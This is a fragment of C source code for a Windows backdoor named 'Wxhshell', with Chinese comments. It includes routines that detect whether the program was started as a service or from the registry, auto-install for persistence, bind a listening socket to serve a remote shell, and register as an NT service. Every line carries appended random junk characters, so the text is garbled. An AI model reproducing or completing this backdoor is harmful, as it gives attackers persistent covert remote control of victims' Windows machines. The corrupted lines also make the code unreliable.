ULONG InheritedFromUniqueProcessId; 9;E=w+
} PROCESS_BASIC_INFORMATION; q,vWu(.
;-+q*@sa]
PROCNTQSIP NtQueryInformationProcess; or/gx 3
zx3gz7>k;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qN $t_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0cd_l
2f#g
S6TNu+2w4
HANDLE hProcess; Y;"k5+ q
PROCESS_BASIC_INFORMATION pbi; X@rA2);6
l/&.H F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LQ jbEYp
if(NULL == hInst ) return 0; d$zJLgkA
eU[g@Pq:Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o*S_"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \^x{NV@v42
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $ik*!om5
P {TJ$
if (!NtQueryInformationProcess) return 0; ,/42^|=Z6O
/Mqhx_)>A
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `(e :H
if(!hProcess) return 0; K^Awf6%
0l!#u`cCI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cn{Hk)6
'5e,@t%y
CloseHandle(hProcess); c3$T3Lu1
mj~:MCC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LeKovt%
if(hProcess==NULL) return 0; H@Dpht>[
"Ms;sdjg}&
HMODULE hMod; W>K^55'
char procName[255]; XKoY!Y\
unsigned long cbNeeded; "
kDiK`i
J2YQdCL
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z3oi(
3k Ci5C
CloseHandle(hProcess); %#HU~X:
0MG>77
if(strstr(procName,"services")) return 1; // 以服务启动 5E]t4"
b;k+N`
return 0; // 注册表启动 YW7W6mWspS
} ,>GHR{7>(
=>jp\A
// 主模块 J:xGEa t
int StartWxhshell(LPSTR lpCmdLine) Ql*zl
{ dY*q[N/pO
SOCKET wsl; "mlQ z4D)5
BOOL val=TRUE; kv+%
int port=0; sV\_DP/l
struct sockaddr_in door; C]`uC^6g
*l2`- gbE
if(wscfg.ws_autoins) Install(); c8l>OS5i3_
j4.wd
RK
port=atoi(lpCmdLine); +iVEA(0&$
fz&B$1;8
if(port<=0) port=wscfg.ws_port; OQVrg2A%(
%TB(E<p`
WSADATA data; I6>J.6luF9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RK3 yq$
$l7^-SK`E
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 8Zv``t61
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uqMw-f/
door.sin_family = AF_INET; $[gN#QW%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y'v[2s
door.sin_port = htons(port); ]lB zp D
/:{%X(8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cf{F"o
closesocket(wsl); $ghZ<Y2}9
return 1; gFDnt
} ]%Q!%uTh
L P<A q
if(listen(wsl,2) == INVALID_SOCKET) { _plK(g-1J%
closesocket(wsl); -d ntV=
return 1; O9=/\Kc
} +#O+%!
Wxhshell(wsl); >Vuvbo
WSACleanup(); x#rgFY,TY
dP5x]'"x
return 0; 3EoCEPb#
NvR{S /Z
} (O.%Xbx3
^ Ltho`
// 以NT服务方式启动 -yqsJGY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >I5:@6
Z
{ B9v>="F
DWORD status = 0; -YRIe<}E -
DWORD specificError = 0xfffffff; F:{*4b
HU3:6R&
serviceStatus.dwServiceType = SERVICE_WIN32; Dk1& <} I
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5!-TLwl`j\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g:
i5%1
serviceStatus.dwWin32ExitCode = 0; 9}573M
serviceStatus.dwServiceSpecificExitCode = 0; zWsr|= [
serviceStatus.dwCheckPoint = 0; ho]:)!|VY
serviceStatus.dwWaitHint = 0; ui8 Q2{z
D=tZ}_'{t
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &q